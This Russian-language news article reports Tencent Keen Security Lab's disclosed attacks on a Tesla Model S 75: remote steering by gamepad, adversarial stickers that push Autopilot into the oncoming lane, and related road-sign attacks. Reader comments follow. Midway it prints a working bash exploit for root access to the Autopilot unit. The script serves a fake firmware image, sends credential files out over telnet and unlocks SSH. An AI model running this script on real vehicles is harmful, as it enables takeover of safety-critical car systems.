Камеры main, narrow и fisheye («рыбий глаз») на автомобиле Tesla Model S 75. Они обеспечивают входные данные для нейросетей автопилота
Исследователи из компании Tencent Keen Security Lab опубликовали отчёт с описанием успешной атаки на прошивку автомобиля Tesla Model S 75, включая удалённое управление рулевым колесом и атаку с помощью «состязательных примеров» (adversarial example) на автопилот, принудив его выехать на полосу встречного движения. Tesla активно применяет нейросети для многих задач машинного зрения, чем и воспользовались злоумышленники, которые применили стандартные методы атаки на машинное зрение.
Для эксплойта исследователи использовали цепочку уязвимостей, которую впоследствии раскрыли Tesla. Автопроизводитель закрыл уязвимости патчем 2018.24.
Для атаки с удалённым управление рулевым колесом исследователям пришлось обойти несколько уровней защиты. Тем не менее, они смогли написать приложение, которое позволило подключить геймпад к мобильному устройству — и через него управлять автомобилем.
Дизайн системы для удалённого управления рулевым колесом Tesla Model S 75 с геймпада
Эта атака имеет некоторые ограничения: так, можно полностью захватить контроль над автомобилем, который запаркован или едет на высокой скорости на круиз-контроле. Но если автомобиль недавно перешёл с передачи R на D, то им можно дистанционно управлять только со скоростью не более 8 км/ч.
Ниже опубликован скрипт для получения рутового доступа к автопилоту. Скрипт работает на Model S 75 в версии прошивки 2018.6.1 и закрыт патчем 2018.24.
#!/bin/bash
APE=192.168.90.103
PORT=25974
HTTP_IP=192.168.90.100
HTTP_PORT=$((7000+$(($RANDOM%2000))))
#REALSSQ=ape_17.17.4.ssq #for ape2.0 375767104
REALSSQ=ape25_2018.6.1.ssq #for ape2.5 285941824
REALSSQ=$(readlink -f $REALSSQ)
#rm fakessq
rm -rf /tmp/fakessq_root
mkdir -p /tmp/fakessq_root/deploy
echo 1 > /tmp/fakessq_root/deploy/security-version
cat << EOF > /tmp/fakessq_root/deploy/ape-updater
#!/bin/sh
iptables -F
cat /var/etc/saccess/tesla*|telnet 192.168.90.145 6666
cat /var/etc/saccess/tesla*|telnet 192.168.90.100 6666
umount /etc/ssh/sshd_config
umount /etc/shadow
mount -o bind /mnt/.etc.ro/shadow /etc/shadow
mount -o bind /mnt/.etc.ro/ssh/sshd_config /etc/ssh/sshd_config
mount -o bind /etc/ssh/sshd_config /etc/ssh/sshd_config_locked
mount -o bind /etc/shadow_unlocked /etc/shadow
sv restart sshd
head -c 4 /bin/ape-updater|grep "#!" && rm /bin/ape-updater && cp /deploy/ape-updater /bin/ape-updater /bin/ape-updater
EOF
chmod 755 /tmp/fakessq_root/deploy/ape-updater
#Uncomment this if you want to exploit the APE from your computer with IP 192.168.90.100
#mksquashfs /tmp/fakessq_root ./fakessq -b 131072 -all-root -no-progress > /dev/null
SERVE1=$REALSSQ
SERVE2=fakessq
SERVE=$SERVE1
while { RESPONSE="HTTP/1.1 200 OK\r\nConnection:keep-alive\r\nContent-Length: $(stat -c%s $SERVE)\r\n\r\n"; echo -en "$RESPONSE"; cat $SERVE; } | nc -l $HTTP_PORT ; do
SERVE=$SERVE2
done &
echo "reset" |nc $APE $PORT
sleep 1
echo "reset" |nc $APE $PORT
sleep 1
cat <(echo -ne "watch\ninstall http://"$HTTP_IP":"$HTTP_PORT"/$REALSSQ\n") - |nc $APE $PORT|while IFS= read -r line; do
echo $line
if [[ $line == *"got_bytes=342614080 expected_bytes=342614080 offset_bytes=0" ]] ; then
sleep 2
echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT
fi
if [[ $line == *"got_bytes=285941824 expected_bytes=285941824 offset_bytes=0" ]] ; then
sleep 2
echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT
fi
if [[ $line == *"status=complete got_bytes=4096 expected_bytes=4096 offset_bytes=0" ]] ; then
sleep 2
break
fi
done
sleep 3
echo -ne "\n\n\nDone\nPlease Press Enter\n"
ssh root@$APE
Автомобили Tesla используют различные нейронные сети для автопилота и других функций (таких как обнаружение дождя на ветровом стекле и включение дворников). Для примера, ниже нейросеть, которая используется для распознавания полосы по картинке с основной и дополнительной камер.
А вот архитектура нейросети для обработки картинки с панорамной камеры «рыбий глаз».
Исследователи использовали состязательные примеры для атаки на эти нейросети.
Самым впечатляющим стал взлом системы обнаружения полосы движения. Добавив к разметке полосы шум в качестве «состязательных примеров», исследователи смогли обмануть автопилот, чтобы он полностью сбился с полосы. Более того, хакеры с помощью небольших стикеров на земле провели атаку типа «фальшивая полоса», которая обманным путём заставила автопилот выехать на полосу встречного движения. Атака работала даже в хороших погодных условиях, при дневном свете без снега, пыли или других помех.
Хакеры показали, что если нарисовать на снимке с камеры три маленьких квадрата в определённых местах, то модуль машинного зрения с высокой степенью уверенности распознает его как линию разметки. Затем они воссоздали сценарий в физическом мире.
На схеме вверху показаны красные интерференционные стикеры на дорожном полотне, которые автопилот Tesla рассматривает как продолжение своей правой полосы, при этом игнорируя реальную левую полосу напротив перекрёстка. Когда он доберётся до середины перекрестка, то займёт настоящую левую полосу, словно это его правая полоса.
Функция распознавания полосы автопилота Tesla хорошо работает в разных погодных условиях, но всё равно уязвима для такой относительно простой атаки. Исследователи подчёркивают, что этот вид атаки прост в развёртывании, а материалы легко получить. Эксперименты доказали, что эта архитектура с использованием нейросетей имеет определённые риски для безопасности, поскольку распознавание встречной полосы движения — одна из необходимых функций для автономного вождения на дорогах общего пользования без разделительной зоны между полосами с разным направлением.
Состязательные примеры против машинного зрения
Состязательные (враждебные) примеры — очень популярный тип атаки на алгоритмы машинного обучения, особенно по обработке изображений. Нейросеть представляет собой «чёрный ящик», которая реагирует на специфические признаки, иногда непонятные для человеческой логики. Задача хакера — внести минимальные изменения в изображение, чтобы классификатор нейросети распознал это изображение как совершенно иной класс. Это делается путём максимизации активации, например, определённого фильтра свёрточной нейросети.
Особо ценится, если для человека изображение практически не меняется.
В работе от 2015 года исследователи из Google показали, что глубинные нейросети можно заставить отнести это изображение панды к гиббонам
Хакеры уже провели ряд успешных атак на беспилотные автомобили. В августе 2017 года специалисты из Калифорнийского университета в Беркли, Мичиганского университета и Университет штата Нью-Йорк в Стоуни-Брук разработали новый алгоритм атаки — надёжные физические пертурбации (Robust Physical Perturbations или RP2). Он очень эффективно сбивает зрение беспилотных автомобилей, роботов, мультикоптеров и любых других роботизированных систем, которые пытаются ориентироваться в окружающем пространстве.
Задачей исследователей было найти минимально возможную дельту, которая бы сбивала классификатор системы машинного обучения, который обучался на наборе данных с изображениями дорожных знаков LISA. Авторы самостоятельно сделали ряд фотографий дорожных знаков на улице в разных условиях (расстояние, углы, освещение) и дополнили набор данных для обучения.
После вычисления дельты была выявлена маска — такое место (или несколько мест) в изображении, которое наиболее надёжно вызывает пертурбации у системы машинного обучения (машинного зрения). Был проведён ряд экспериментов для проверки результатов. В основном, эксперименты проводились на стоп-сигнале (знак «STOP»), который исследователи несколькими безобидными манипуляциями превращали для машинного зрения в знак «SPEED LIMIT 45». Разработанную технику можно использовать на любых других знаках. Авторы затем испытали её на знаке поворота.
Набор экспериментальных изображений с художественными стикерами на разных расстояниях и под разными углами: (а) 5 футов, 0 градусов; (b) 5' 15°; (с) 10' 0°; (d) 10' 30°; (e) 40' 0°. Обман работает на любом расстоянии и под любым углом: вместо знака «Стоп» система машинного обучения видит знак «Ограничение скорости 45 миль»
Научный коллектив разработал два варианта атаки на системы машинного зрения, которые распознают дорожные знаки. Первая атака — маленькие незаметные изменения по всей площади знака. С помощью оптимизатора Adam им удалось минимизировать маску для создания отдельных таргетированных состязательных примеров, нацеленных на конкретные дорожные знаки. В этом случае можно обманывать системы машинного обучения минимальными изменениями картинки, а люди вообще ничего не заметят. Эффективность этого типа атаки проверяли на напечатанных постерах с небольшими изменениями (сначала исследователи убедились, что система машинного зрения успешно распознаёт постеры без изменений).
Второй тип атаки — камуфляжная. Здесь система имитирует или акты вандализма, или художественные граффити, чтобы система не мешала жизни окружающих людей. Таким образом, человек-водитель за рулём сразу увидит знак поворота налево или стоп-сигнал, а робот увидит совершенно другой знак. Эффективность этого типа атаки проверяли на настоящих дорожных знаках, которые заклеивали стикерами. Камуфляж-граффити состоял из стикеров в форме слов LOVE и HATE, а камуфляж типа абстрактного искусства — из четырёх стикеров прямоугольной формы чёрного и белого цветов.
Такие «глюки» нейросети кажутся забавными, но могут серьёзно осложнить распространение беспилотного транспорта. Судя по всему, перед состязательными примерами уязвимы все нейросети. Если хулиганство с такими граффити будет обманывать машинное зрение, то беспилотные автомобили могут вообще не допустить на дороги общего пользования.
Pyhesty
почему после обнаружения знака дополнительно к НС его не прокоррелировать с опорным?...
StSav012
При произвольном положении знака относительно камеры это довольно сложно. А иначе бы без НС вообще обошлись.
Pyhesty
при мощностях затрачиваемых НС, куча корреляторов с разными углами поворотов знаков (заметьте, что поворот нужен только вокруг одной оси) просто капля в море, а на видеокарте (как они это делают сейчас) это можно сделать одной сверткой с массивом разбитого на кучу заранее подготовленных опорных кадров…
короче проверка была бы не лишней и не стоит ничего по сравнению с мощностями НС.
ksbes
Вы «изобрели» вейвлет-анализ :) Там примерно так всё и делается (только свёртка идёт значительно хитрее, но смысл примерно тот же).
Только вот сильно сомневаюсь что мощностей потребуется сильно меньше НС. Знаков-то много. Проверять надо на каждый (пусть и по одному за раз) и как-то разруливать противоречия. Это уже неплохой такой монстр получается.
НС — они не просто так популярны.
Pyhesty
нет, есть математическое доказательноство, что идеальный приёмник — это коррелятор, вейвлет его не заменит, по этому, если вы сможете прокоррелировать с опорным сигналом с разными фазами вы получите оптимальный (лучше не существует) обнаружитель.
количество знаков намного меньше, чем может свернуть видеокарта в секунду, а НС всегда будут иметь варианты ответов, которые невозможно предсказать и проверить.